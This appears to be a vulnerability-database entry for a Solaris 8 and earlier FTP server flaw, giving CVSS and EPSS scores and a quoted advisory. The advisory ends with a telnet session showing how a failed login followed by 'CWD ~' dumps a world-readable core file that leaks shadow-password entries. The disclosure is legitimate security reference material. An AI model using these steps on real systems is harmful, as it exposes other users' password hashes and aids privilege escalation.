CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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FTP server in Solaris 8 and earlier allows local and remote attackers to cause a core dump in the root directory, possibly with world-readable permissions, by providing a valid username with an invalid password followed by a CWD ~ command, which could release sensitive information such as shadowed passwords, or fill the disk partition.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.4
AV:N/AC:L/Au:N/C:P/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
4.19%
–
–
2022-04-03
–
–
4.19%
–
–
2022-07-17
–
–
4.19%
–
–
2023-03-12
–
–
–
3.24%
–
2024-02-11
–
–
–
3.24%
–
2024-06-02
–
–
–
3.24%
–
2024-11-17
–
–
–
3.24%
–
2024-12-22
–
–
–
2.65%
–
2025-01-19
–
–
–
2.65%
–
2025-03-18
–
–
–
–
2.45%
2025-03-18
–
–
–
–
2.45,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/2601/info
Solaris is the variant of the UNIX Operating System distributed by Sun Microsystems. Solaris is designed as a scalable operating system for the Intel x86 and Sun Sparc platforms, and operates on machines varying from desktop to enterprise server.
A problem in the ftp server included with the Solaris Operating System could allow a local user to recover parts of the shadow file, containing encrypted passwords. Due to a previously known problem involving a buffer overflow in glob(), it is possible to cause a buffer overflow in the Solaris ftp server, which will dump parts of the shadow file to core. This can be done with the CWD ~ command, using a non-standard ftp client.
Therefore, a local user could cause a buffer overflow in the ftp server, and upon reading the core file, recover passwords for other local users, potentially gaining elevated privileges.
[root@ /usr/sbin]> telnet localhost 21
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
220 sun26 FTP server (SunOS 5.6) ready.
user warning3
331 Password required for warning3. <-- a valid username
pass blahblah <--- a wrong password
530 Login incorrect.
CWD ~
530 Please login with USER and PASS.
Connection closed by foreign host.
[root@ /usr/sbin]> ls -l /core
-rw-r--r-- 1 root root 284304 Apr 16 10:20 /core
[root@ /usr/sbin]> strings /core|more
[...snip...]
lp:NP:6445::::::
P:64
eH::::
uucp:NP:6445:::